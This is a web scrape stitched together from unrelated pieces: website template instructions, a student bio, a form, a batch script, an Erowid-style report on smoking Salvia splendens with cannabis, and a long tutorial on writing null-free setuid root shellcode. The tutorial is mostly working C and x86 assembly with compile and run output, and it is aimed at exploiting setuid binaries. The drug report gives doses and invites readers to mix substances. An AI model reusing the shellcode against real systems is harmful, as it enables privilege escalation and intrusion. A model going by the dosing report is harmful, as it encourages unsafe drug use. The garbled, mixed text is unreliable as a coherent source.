How to Create Template from Random Style Generator? - top
* After saw changes, open one of your HTML template in notepad and edit file, follow me:
1) Layout: in html page find "layout" and change class to boxed
2) Version: if version was dark you should add this code before close head:
<link rel="stylesheet" type="text/css" href="styles/dark.css" media="screen" />
3) Colors: you should add this code before close head: (green_see is your color)
<link rel="stylesheet" type="text/css" href="colors/green_sea.css" media="screen" />
please see bellow image:
*** NOTE:Now frames are not available, this feature will add soon.
How to change Twitter account widget? - top
1) go to js Folder Open custom.js in Notepade
2) find below code and change it
username: 'behzadg1',
3) go to folder twitter then open index.php
4) You need to have a twitter App for your usage in order to obtain OAuth credentials, see https://dev.twitter.com/apps for help.
5) After creating your app, configure index.php with your OAuth credentials, and enable caching if you desire. Your cache directory of choice must be writable by PHP.
6) That's all.
How to change template colors? - top
go to folder colors and open one css file and edit colors. If you know a little about CSS, you can edit one color css file from colors folder then change it and then insert in you HTML file.
How To add Row and Column ? - top
1) for add row see below code:

Your Content

2) for add row+column see below code:

Your Content 1/2

Your Content 1/2

3) More Columns Sizes
.grid_12 - 1/1
.grid_10 - 5/6
.grid_9 - 3/4
.grid_8 - 2/3
.grid_6 - 1/2
.grid_4 - 1/3
.grid_3 - 1/4
.grid_2 - 1/6
Sticky Header ON/OFF - top
1) open HTML file in notepad.
2) find "headdown"
2) add class "my_sticky" Done.
2) example class="headdown my_sticky"
How to change google webfont ? - top
1) go to this site and chose your font: http://www.google.com/fonts/
2) go to html file find "Marcellus" and then change it with your font name.
Example: family=Open+Sans
<link rel='stylesheet' type='text/css' href='http://fonts.googleapis.com/css?family=Open+Sans'>
3) go to style.css and find any name "Marcellus" then change them to your font name. Like: font-family: 'Open Sans'
How To change background image and Layout Version? - top
1) for change body background add this line to your body class in style.css : background: #333 url(images/backgrounds/1.jpg) repeat;
2) also you can add this code before close head :
3) for change full, boxed, boxed-margin background find them classes and change it, classes are : .full, .boxed, .boxed-margin
How To change Breadcrumb background? - top
Add this code before close head :
How To use 660 retina Icon ? - top
example icon =
example metro icon =
How To change disqus_shortname ? - top
find "officialtemplate" then change it to your shortname
if you havn't shortname please visit www.disqus.com and create one shortname
How To change Layouts to Boxed, Fullwide and boxed-margin? - top
1) open HTML file in Notepade
2) find below code and change it like example's :

-) Example's

How To change Contact Form Email ? - top
1) Open processForm.php in Notepade
2) find "your name" and<EMAIL_ADDRESS>3) now replace your name and email then save it and close
How to change Address in Google Map? - top
open contact.html and at end of page find "address" and change it.
How To Change CSS3 Load Animation when scrolling Down? - top
1) add this code to your elements:
class="animated" data-gen="fadeInUp"
2) for change animation you should change data-gen="fadeInUp"
3) animations:
fadeInUp
fadeInDown
fadeInLeft
fadeInRight
4) also please check other animation classes here: http://daneden.me/animate/
Explanation about more classes - top
mt is margin-top: 20px
mtt is margin-top: 30px
mtf is margin-top: 40px
mts is margin-top: 70px
mb is margin-bottom: 20px
mbt is margin-bottom: 30px
mbf is margin-bottom: 40px
mbs is margin-bottom: 70px
fll is float: left with margin
flr is float: right with margin
righter is float: right
lefter is float: left
tac is text-align: center
tal is text-align: left
tar is text-align: right
two-radius is border-radius: 2px
three-radius is border-radius: 3px
four-radius isborder-radius: 4px
five-radius is border-radius: 5px
six-radius is border-radius: 6px
ten-radius is border-radius: 10px
circle-radius is border-radius: 50%
.mi { margin-right: 4px }
.mid { margin-right: 8px }
.mii { margin-left: 4px }
.miid { margin-left: 8px }
.tacIMG, .tacIMG img { margin: 0 auto !important; text-align: center }
How to change Instagram widget with my instagram acc ? - top
go to this site: http://snapwidget.com/ and create your widget then copy your iframe code and then go to html file, find instagram and now paste your code instead current iframe code.
How to change Countdown Event Timer ? - top
in "under_construction page" find and change this: date: "31 December 2013 23:59:59"
How to Turn Off scroll load animations ? - top
go to custom.js and find each "animated" then change them to "Turn_Off"


[1]
i liked the maps look like they are 20 yrs old.
[2]
not a soldering iron and a fairly steady hand so maybe i liked the maps look like they are 20 yrs old.


Meet me
Hello World. My Name is Zachary Samson-- you can call me Zach. I'm a southwest air dried student of wifi (millenial born in AZ). I have a bachelors in Supply Chain Management from Arizona State University, and I've been working as a materials planner in the semiconductor world for over 3 years.
I'm currently enrolled in the University of Arizona's full stack web development bootcamp, and I will be graduating in November 2021. My intention is to take these new skills to land an entry level full stack software develpment job.
SKILLS (so far )
HTML | CSS | JavaScript


@(message: String) @import snippets._ @main("upload")(navigation("home")) {
Upload a midi file (file extension: .midi or .mid)
It must be a monophonic tune with a single melody line


| DOSE: T+ 0:00 |
1.0 g |
sublingual |
Salvia splendens |
(plant material) |
| T+ 0:30 |
0.3 g |
smoked |
Cannabis |
(plant material) |
| T+ 0:30 |
|
smoked |
Salvia splendens |
(plant material) |
I recently found out that other salvias than the famous divinorum are psychoactive too. Salvia splendens seems to have extremely pleasant mental effects when ingested sublingually or by smoking.
I tried S. splendens my first time at 1 grams dose. The leaves were dried and crunched when I put them under my tongue.
The first effects appeared about 15 minutes after that. First came the feeling 'there's something strange in the reality, but I'm not quite sure what it is'. If you have tried LSD or other hallucinogens, you might know what I mean. Next came the slowing of thinking. It was quite hard to think 'aloud' and rationally. I felt also very safe and firm all the time. No dizziness or tiredness appeared. I was even more awake than normally. The colours seemed very bright.
Next I got the leaves out from my mouth since they began to taste too bitter to me. (this was after 30 minutes of holding them under my tongue) I dried the remaining pile of green goo in a microwave oven and mixed it with cannabis sativa flowerbuds and dried leaves. I then courageously smoked the mixture through a waterpipe.
The experience seemed to shoot up in the level of intensity. I lay down on a bed and began to visualize things. I sensed two different alien presences around and inside me. I understood that these entities were Salvia splendens and Cannabis sativa.  They were aware and we 'changed thoughts' rather than talked. At the time of the experience I had a bad flu since the autumn is coming and the weather is quite cold. I asked for their help in fighting the illness and they began to fight with me against the flu. I must remind that this all was quite real to me and I saw myself with the plants as clearly as in a normal daily life.
The mental hallucinations appeared only when I closed my eyes. When I had my eyes open everything seemed just right. The salvia splendens doesn't seem to have any LSD25-like visual effects. The most pleasurable thing in my experience was the following: when I concentrated on myself, I began to feel _extremely_ good. I could then concentrate on the well-being and the feeling amplified itself! Finally I felt so good that I cried for a moment. There's absolutely some abuse potential for this plant.
After about two hours I began to come down from the hights of the experience. The trip lasted 4-5 hours. The total experience was quite mild but extremely pleasurable. I plan to increase the dosage when my S. splendens plants grow bushier.
Remember: Little is known of the effects of this plant, so be careful when experimenting further! In my opinion, one should start with small dosages and not mix this plant with other hallucinogens, alcohol and/or pharmaceuticals. The combined effects of different chemicals are completely unknown. (It seems that the good old cannabis was not harmful to me when I mixed it with this plant, so you can give it a try! :)
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


Toggle navigation
1
Personal Infomation
2
Member Plan
3
Family Members
4
Wounded Vet
5
Payment Method
We are almost done.
Enroll up to 4 Family Members.
Please Select Family Relationship
Father
Mother
Siblings
Spouse
Child
Add A Family Member
Next


MonthName
The MonthName function returns the name
of month from the month number.
|
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:MonthName %mm% month
::
:: By: Ritchie Lawrence, 2002-10-04. Version 1.0
::
:: Func: Returns the name of month from the number of the month.
:: For NT4/2000/XP/2003.
::
:: Args: %1 month number convert to name of month, 1 or 01 to 12 (by
val)
:: %2 var to receive name of month
(by ref)
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
setlocal ENABLEEXTENSIONS&set /a m=100%1%%100
for /f "tokens=%m%" %%a in ('echo/January February March
April May June^
July August September October November December'
) do endlocal&set %2=%%a&goto :EOF
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: |
|
Parameters
%1 month number convert to name of month, 1 or 01 to 12 (by
val)
%2 var to receive name of month (by ref)
Return Values
See parameters above.
Example
@echo off & setlocal ENABLEEXTENSIONS
call :GetDate yy mm dd
call :MonthName %mm% month
echo/The current month is: %month%
goto :EOF
Remarks
The returned month name is the full name of the month with the first
letter capitalised.
See Also
MonthNumber
|


All the content on this website, including this post, is intended for educational use only. The techniques and processes presented should only be used against systems you own or have explicit written permission to target. Otherwise, you are breaking the Law - be smart. The author/s of this website will not accept any liability for misuse of this content.
In particular, we will look at writing setuid() shell spawning Shellcode. Before we proceed we need to understand what a setuid executable is.
Setuid Binaries
Setuid stands for ‘set user ID’ and is an access right that can be applied to executable programs. When executed a setuid binary will run with the permissions of the executable's owner. For instance, if the executable is owned by root and the user debug runs the program the program will run with the privileges of root. Hence if we can exploit a setuid program we will inherit the permissions of the owner of the program.
Several legitimate programs run with setuid root privileges. For example, /bin/su allows you to log in as another user via a Shell. To check that the password you entered is correct the program must be able to read /etc/shadow which contains hashes of all user's passwords. To do this /bin/su must have root privileges. However, every user must be able to run /bin/sh with root privileges. The solution is to make /bin/sh a setuid binary owned by root - when it is run it will run with root privileges.
It is important to note that setuid programs do not tend to run all their commands with root privileges. Only commands that need to run with root privileges are run with root privileges - all other commands are run with the users' privileges. In C we can use the setuid() function which will set the user ID (uid) of the process. This can be used to elevate and restore privileges within a setuid binary.
Step 1: Writing the Shellcode in C
Let's look at a C program that will attempt to set the uid and gid (group ID) to root (root has a uid and gid of zero) and then spawn a Shell using the system() function.
(c_shell.c) int main(void) { setuid(0); setgid(0); system("/bin/bash"); }
If we compile this code it will spawn a Shell, but not with root privileges.
debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell$ gcc -o c_shell c_shell.c debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell$ ./c_shell debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell$ exit exit debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell$
This spawns a shell as the user debug - our current user. This is because the setuid(0) function (and the setgid(0)) function failed to set the uid (gid) of the process to root. This is because we have not set the setuid bit to the c_shell program. Let's change the owner of the binary to root set the setuid bit and see if it works this time.
debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell$ sudo chown root:root c_shell debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell$ sudo chmod +s c_shell debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell$ ./c_shell root@lbuntu:~/Documents/shellcode/chapter3/setuid_shell# id uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),122(sambashare),1000(debug) root@lbuntu:~/Documents/shellcode/chapter3/setuid_shell# exit exit debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell$
This time we have a root shell - the setuid() function worked as expected. The program has the necessary permission to change the uid (gid) of the process.
Step 2: Debugging the Shellcode Program
Let's see what system calls the program makes using gdb.
debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell$ gdb -q ./c_shell Reading symbols from ./c_shell...(no debugging symbols found)...done. gdb-peda$ disas main Dump of assembler code for function main: 0x0000057d <+0>: lea ecx,[esp+0x4] 0x00000581 <+4>: and esp,0xfffffff0 0x00000584 <+7>: push DWORD PTR [ecx-0x4] 0x00000587 <+10>: push ebp 0x00000588 <+11>: mov ebp,esp 0x0000058a <+13>: push ebx 0x0000058b <+14>: push ecx 0x0000058c <+15>: call 0x480 <__x86.get_pc_thunk.bx> 0x00000591 <+20>: add ebx,0x1a3f 0x00000597 <+26>: sub esp,0xc 0x0000059a <+29>: push 0x0 0x0000059c <+31>: call 0x420 <setuid@plt> 0x000005a1 <+36>: add esp,0x10 0x000005a4 <+39>: sub esp,0xc 0x000005a7 <+42>: push 0x0 0x000005a9 <+44>: call 0x3f0 <setgid@plt> 0x000005ae <+49>: add esp,0x10 0x000005b1 <+52>: sub esp,0xc 0x000005b4 <+55>: lea eax,[ebx-0x1970] 0x000005ba <+61>: push eax 0x000005bb <+62>: call 0x400 <system@plt> 0x000005c0 <+67>: add esp,0x10 0x000005c3 <+70>: mov eax,0x0 0x000005c8 <+75>: lea esp,[ebp-0x8] 0x000005cb <+78>: pop ecx 0x000005cc <+79>: pop ebx 0x000005cd <+80>: pop ebp 0x000005ce <+81>: lea esp,[ecx-0x4] 0x000005d1 <+84>: ret End of assembler dump. gdb-peda$
We can see that the functions setuid, setgid and system are being called which is to be expected. Let's catch the syscalls associated with these functions, namely setuid, setgid and execve (for system).
gdb-peda$ catch syscall setuid Catchpoint 1 (syscall 'setuid' [23]) gdb-peda$ catch syscall setgid Catchpoint 2 (syscall 'setgid' [46]) gdb-peda$ catch syscall execve Catchpoint 3 (syscall 'execve' [11]) gdb-peda$ r Starting program: /home/debug/Documents/shellcode/chapter3/setuid_shell/c_shell ... Thread 2.1 "c_shell" hit Catchpoint 3 (call to syscall execve), 0xb7fd7bb5 in __kernel_vsyscall () gdb-peda$ c
The syscall to execve is made but we don't see the setuid or setgid syscalls. gdb doesn't run programs as setuid binaries (unless gdb is running as root) so these syscalls fail. We can see the using strace.
debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell$ strace ./c_shell execve("./c_shell", ["./c_shell"], 0xbffff650 /* 22 vars */) = 0 access("/etc/suid-debug", F_OK) = -1 ENOENT (No such file or directory) brk(NULL) = 0x403000 fcntl64(0, F_GETFD) = 0 fcntl64(1, F_GETFD) = 0 fcntl64(2, F_GETFD) = 0 access("/etc/suid-debug", F_OK) = -1 ENOENT (No such file or directory) access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fd2000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=80054, ...}) = 0 mmap2(NULL, 80054, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7fbe000 close(3) = 0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) openat(AT_FDCWD, "/lib/i386-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3 read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0 \220\1\0004\0\0\0"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=1942840, ...}) = 0 mmap2(NULL, 1948188, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7de2000 mprotect(0xb7fb7000, 4096, PROT_NONE) = 0 mmap2(0xb7fb8000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1d5000) = 0xb7fb8000 mmap2(0xb7fbb000, 10780, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7fbb000 close(3) = 0 set_thread_area({entry_number=-1, base_addr=0xb7fd30c0, limit=0x0fffff, seg_32bit=1, contents=0, read_exec_only=0, limit_in_pages=1, seg_not_present=0, useable=1}) = 0 (entry_number=6) mprotect(0xb7fb8000, 8192, PROT_READ) = 0 mprotect(0x401000, 4096, PROT_READ) = 0 mprotect(0xb7ffe000, 4096, PROT_READ) = 0 munmap(0xb7fbe000, 80054) = 0 setuid32(0) = -1 EPERM (Operation not permitted) setgid32(0) = -1 EPERM (Operation not permitted) rt_sigaction(SIGINT, {sa_handler=SIG_IGN, sa_mask=[], sa_flags=0}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0 rt_sigaction(SIGQUIT, {sa_handler=SIG_IGN, sa_mask=[], sa_flags=0}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0 rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0 clone(child_stack=NULL, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xbffff43c) = 2717 waitpid(2717, debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell$ exit exit [{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 0) = 2717 rt_sigaction(SIGINT, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, NULL, 8) = 0 rt_sigaction(SIGQUIT, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, NULL, 8) = 0 rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=2717, si_uid=1000, si_status=0, si_utime=0, si_stime=0} --- exit_group(0) = ? +++ exited with 0 +++ debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell
Note that like gdb, strace ignores the setuid bit and runs he program with the users' privileges, which is why the setuid and setgid calls fail with operation not permitted.
We know that we need to write a program that makes these syscalls with the appropriate arguements written into registers.
Step 3: Understand How the Assembly Code works
We can write an assembly program that does the same thing as our C program.(shellcode.asm) section .data string db "/bin/shABBBBCCCC" ;string used as an argument for execve section .text global _start _start: ; setuid syscall mov eax, 0x17 ;Arg0: put the value of the syscall into eax mov ebx, 0 ;Arg1: put the uid of root into ebx as an argument int 0x80 ;call the kernel and run the syscall ; setgid syscall mov eax, 0x2e ;Arg0: put the value of the syscall into eax mov ebx, 0 ;Arg1: put the gid of root into ebx as an argument int 0x80 ;call the kernel and run the syscall ;execve syscall mov eax, 0 ;move zero into eax mov ebx, string ;Arg1:move the address of string into ebx mov [ebx + 7], al ;put the null bytes in al (first byte of eax) into 8th byte of string (where the A is). This will terminate /bin/sh mov [ebx + 8], ebx ;put the address of string, stored in ebx, in place of the BBBB's in string mov [ebx + 12], eax ;move the null bytes stored in eax over CCCC in string. This will terminate the preceding address mov eax, 11 ;Arg0: put the value of the syscall into eax lea ecx, [ebx + 8] ;Arg2: Load address where BBBB was into ecx. This is a pointer to the address pointing to /bin/sh. lea edx, [ebx + 12] ;Arg3: Load 0x00000000 into edx which replaced CCCC in string int 0x80 ;call the kernel and run the syscall
Let's go through this assembly code and analyse each part.
section .data string db "/bin/shABBBBCCCC" ;string used as an argument for execve
This defines the data section of the program. We define a variable called string which we use when calling execve.
section .text global _start _start:
Defines the .text section of the program. Sets the entry point of the program.
; setuid syscall mov eax, 0x17 ;Arg0: put the value of the syscall into eax mov ebx, 0 ;Arg1: put the uid of root into ebx as an argument int 0x80 ;call the kernel and run the syscall
Runs the setuid syscall. Firstly we load the value of the syscall into eax, in this case, 0x17 (23). We then move the argument of the syscall into ebx; namely the uid of root which is zero. We then call the kernel to run the syscall.
; setgid syscall mov eax, 0x2e ;Arg0: put the value of the syscall into eax mov ebx, 0 ;Arg1: put the gid of root into ebx as an argument int 0x80 ;call the kernel and run the syscall
Runs the setgid syscall. Almost identical to the previous syscall except we load 0x2e (the value of the setgid syscall) into eax instead of 0x17.
;execve syscall mov eax, 0 ;move zero into eax mov ebx, string ;Arg1:move the address of string into ebx mov [ebx + 7], al ;put the null byte in al (first byte of eax) into the 8th byte of string (where the A is). This will terminate /bin/sh mov [ebx + 8], ebx ;put the address of string, stored in ebx, in place of the BBBB's. This is argv[0] mov [ebx + 12], eax ;move the null bytes stored in eax over CCCC in string. This is argv[1] mov eax, 11 ;Arg0: put the value of the syscall into eax lea ecx, [ebx + 8] ;Arg2: Load address where BBBB was into ecx. This is a pointer to the address pointing to /bin/sh. lea edx, [ebx + 12] ;Arg3: Load 0x00000000 into edx which replaced CCCC in string int 0x80 ;call the kernel and run the syscall
There is a bit more going on here. Essentially we are overwriting parts of the string variable and loading addresses to parts of the string into registers as arguments to the syscalls.
Firstly, lets have a look at the man page for execve.
EXECVE(2) Linux Programmer's Manual EXECVE(2) NAME execve - execute program SYNOPSIS #include <unistd.h> int execve(const char *filename, char *const argv[], char *const envp[]); DESCRIPTION execve() executes the program pointed to by filename. filename must be either a binary executable, or a script starting with a line of the form: #! interpreter [optional-arg] For details of the latter case, see "Interpreter scripts" below. argv is an array of argument strings passed to the new program. By convention, the first of these strings (i.e., argv[0]) should contain the filename associated with the file being executed. envp is an array of strings, conventionally of the form key=value, which are passed as environment to the new program. The argv and envp arrays must each include a null pointer at the end of the array.
As you can see we must pass three arguments the syscall. The first should be a pointer to the filename we want to execute, in this case /bin/sh. This filename should be null terminated otherwise the kernel will read past the file name and our filename will be incorrect.
The second argument is argv[] which should be “an array of arguments strings passed to the program”. The first string in the array should be the filename we wish to execute, so in this case /bin/sh. argv[] should contain a null pointer at the end of the array.
The third arguement is envp[] which should be an array of environment variables passed to the program. We are not interested in this variable. However the envp[] array should contain a null pointer at the end of the array. Therefore, we should pass a null pointer for this variable.
In our Shellcode, we will null terminate the /bin/sh string and write the argv[] array over the string variable declared in the .data section. We will then pass pointers to /bin/sh and to argv[] via the ebx and ecx registers respectively to the syscall. We also load 0x0b into eax (the value of the syscall) and a null pointer in edx for an empty envp[] array.
Hence, before we make the syscall, our registers should look like this:
execve(pointer to /bin/sh, [address of pointer to /bin/sh, 0], 0) eax: 11 (value of the execve syscall) ebx: pointer to /bin/sh ecx: pointer to the argv[] array. edx: null (pointer to envp[] array with no entries)
The following goes through the section and explains how we are overwriting the string variable to create the argv[] array and null terminate the /bin/sh string.
00 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 / b i n / s h A B B B B C C C C mov eax, 0 mov ebx, string mov [ebx + 7], al 00 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 / b i n / s h 0 B B B B C C C C We've replaced A with 0x00 terminating the /bin/sh string. mov [ebx + 8], ebx 00 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 / b i n / s h 0 <addr of C C C C string> We overwrite the BBBB characters with the address of string (which is stored in ebx). mov [ebx + 12], eax |---------*-----------| |---------**----------| 00 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 / b i n / s h 0 <addr of 0 0 0 0 string> We overwrite the CCCC characters with the null bytes stored in eax. * null termianted /bin/sh string ** argv[] array
We we have rewritten the string variable to "bin/sh0<addr of string>0000". We then load the arguments for the syscall into registers from this string. We have already written one argument into ebx, namely the pointer to '/bin/sh'. We move 0x0b into the eax, the value of the syscall. We load the effective address of the argv[] array into ecx using ebx as a relative address (the argv[] array starts 8 bytes ahead of the address held in ebx). Similarly, we load the effective address of 0x00000000 into edx. We have all the arguments in place and are then ready to make the final syscall.
Let's compile the program, make it setuid root and see if it works.
debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell$ nasm -f elf shellcode.asm debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell$ ld shellcode.o -o a1.out debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell$ sudo chown root a1.out [sudo] password for debug: debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell$ sudo chmod +s a1.out debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell$ ./a1.out # id uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),122(sambashare),1000(debug) #
Indeed we get a root shell. The program works. However, we are still a long way from injectable Shellcode. We are relying on data held in the .data section of the program. Typically we will not be able (and we certainly would like to avoid) writing to the .data section of the program. We will get around this by writing the /bin/sh argument to the Stack and referencing it from there rather than the .data section of the program. We also need to remove all null bytes from the program.
debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell$ objdump -d a1.out a1.out: file format elf32-i386 Disassembly of section .text: 08048080 <_start>: 8048080: b8 17 00 00 00 mov $0x17,%eax 8048085: bb 00 00 00 00 mov $0x0,%ebx 804808a: cd 80 int $0x80 804808c: b8 2e 00 00 00 mov $0x2e,%eax 8048091: bb 00 00 00 00 mov $0x0,%ebx 8048096: cd 80 int $0x80 8048098: b8 00 00 00 00 mov $0x0,%eax 804809d: bb b8 90 04 08 mov $0x80490b8,%ebx 80480a2: 88 43 07 mov %al,0x7(%ebx) 80480a5: 89 5b 08 mov %ebx,0x8(%ebx) 80480a8: 89 43 0c mov %eax,0xc(%ebx) 80480ab: b8 0b 00 00 00 mov $0xb,%eax 80480b0: 8d 4b 08 lea 0x8(%ebx),%ecx 80480b3: 8d 53 0c lea 0xc(%ebx),%edx 80480b6: cd 80 int $0x80 debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell$
Step 4: Cleaning Up our Shellcode
Let's firstly remove all null bytes from the first two syscalls.
;setuid(0) push 0x17 ;push the value of 0x17 onto the Stack pop eax ;Arg1: push the value at the top of the Stack, 0x17, into eax xor ebx, ebx ;Arg2: set ebx to zero int 0x80 ;call the kernel
We are using a new technique here - we push 0x17 onto the Stack and then pop this value into eax. This loads 0x17 into eax with fewer opcodes than xor eax,eax ; mov al, 0x17 for example. This is a good technique to load values into registers when we need to zero them first (i.e. we only want to write to the first byte and we don't know what else is in the register).
We then set ebx to zero by xoring ebx with itself. We then call the kernel which hasn't changed.
;setgid(0) mov al, 0x2e ;Arg1: move 0x2e into eax - value of the syscall. We don't use the push, pop method as we know the first three bytes of eax are null int 0x80 ;call the kernel. Arg2 already set to zero from above
We set eax to 0x2e using the mov al method. We don't use the push, pop method as we know the first three bytes of eax are null from the previous syscall. We then call the kernel. Note that we do not need to set ebx to zero as we did before - it already is zero.
;execve syscall mov al, 0x0b ;Arg1: move 11 into eax - value of the syscall push ebx ;push four null bytes to the Stack to terminate the following string push 0x68732f2f ;push //sh onto the Stack push 0x6e69622f ;push /bin onto the Stack (to complete the string /bin//sh mov ebx, esp ;Arg1: move the address of /bin//sh into ebx. esp points to this address xor edx, edx ;Arg3: set edx to zero push edx ;push four null bytes to the Stack to terminate the following address push ebx ;push the address stored in ebx (which points to /bin//sh) onto the Stack mov ecx, esp ;Arg2: move the address of the pointer to /bin//sh into ecx. int 0x80 ;call the kernel
This section of code pushes the string /bin//sh onto the Stack and loads arguments into registers before the execve syscall. But why are we loading /bin//sh onto the Stack instead of /bin/sh?
In 32bit Linux systems we push values onto the Stack in units of 4 bytes (note it is possible, but not common, to pop or push 16 bits as well). That means that if value if 3 bytes long it will still take up 4 bytes worth of space on the Stack. Space not used will be null bytes. Our problem is that the string “/bin/sh" is 7 bytes long. It has to be written to the Stack in units of 4 so we will have to write to the Stack twice. The first write will be 4 bytes long and the second write will be 3 bytes long. However this will introduce a null byte in the string, “/bin0/sh” which will terminate our string early and the wrong arguments will be passed to execve.
However, we have a trick up our sleeve. In Linux when issuing commands like /bin/sh the OS will accept multiple slashes in place of one.
debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell$ /bin/sh $ exit debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell$ /bin//sh $ exit debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell$ /bin////////sh $ exit debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell$
Hence the command /bin/sh has the same effect as /bin//sh (or even /bin////////sh). Hence we can write exactly 8 bytes to the Stack (in units of 4 bytes) using the string /bin//sh. A neat trick.
In the assembly code, we first move 0x0b into eax (using the al register), the value of the syscall. We then push 4 null bytes stored in ebx onto the Stack to terminate the following string written onto the Stack. We then write //sh and /bin onto the Stack in hexadecimal (using little-endian format). Since the Stack is a last in first out data type we have to write the string backwards in units of 4 bytes (i.e //sh first then /bin). The program moves the address of /bin//sh into ebx (from esp). We set edx to zero and push 4 null bytes into the Stack to terminate the argv[] array. Push the address in ebx (which points to /bin//sh) on the Stack. Then move the address of the pointer to /bin//sh into ecx (this is a pointer to the argv array) and call the kernel. This will spawn a shell. Since we have set the uid and gid of the program to root (zero) we will have a root shell (providing the binary is setuid).
Compiling the assembly and setting the setuid bit (and ensuring the owner is root) we see that we get a root shell.
debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell$ nasm -f elf shellcode2.asm debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell$ sudo ld shellcode2.o -o a1.out [sudo] password for debug: debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell$ sudo chmod +s a1.out debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell$ ./a1.out # id uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),122(sambashare),1000(debug) # exit debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell$
So the Shellcode works! Let's check that the Shellcode does not contain any null bytes.
debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell$ objdump -d a1.out a1.out: file format elf32-i386 Disassembly of section .text: 08048060 <_start>: 8048060: 6a 17 push $0x17 8048062: 58 pop %eax 8048063: 31 db xor %ebx,%ebx 8048065: cd 80 int $0x80 8048067: b0 2e mov $0x2e,%al 8048069: cd 80 int $0x80 804806b: b0 0b mov $0xb,%al 804806d: 53 push %ebx 804806e: 68 2f 2f 73 68 push $0x68732f2f 8048073: 68 2f 62 69 6e push $0x6e69622f 8048078: 89 e3 mov %esp,%ebx 804807a: 31 d2 xor %edx,%edx 804807c: 52 push %edx 804807d: 53 push %ebx 804807e: 89 e1 mov %esp,%ecx 8048080: cd 80 int $0x80 debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell$
Indeed there are no null bytes in our Shellcode. All that remains is to extract the opcodes and we have our Shellcode.
One thing to note is that our Shellcode will fail if the binary we are attacking does not have the setuid bit set. Indeed if we remove the setuid bit from a1.out we will get a segmentation fault. This is because we have not programmed any error handling if the setuid() syscall fails. After all, we do not have the correct privileges. You need to bear this in mind if the binary you are attacking is not setuid.
debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell$ sudo chmod -s a1.out debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell$ ./a1.out Segmentation fault (core dumped) debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell$
You could still get a shell from the vulnerable program by excluding the setuid() and setgid() calls from the Shellcode.
Step 5: Extract Opcodes
There is a great one-line script proposed by invictus85 on https://reverseengineering.stackexchange.com/questions/15925/how-can-i-export-only-the-opcodes-from-objdump-or-any-other-program to extract opcodes quickly from objdump. Our Shellcode will be ready for use immediately.
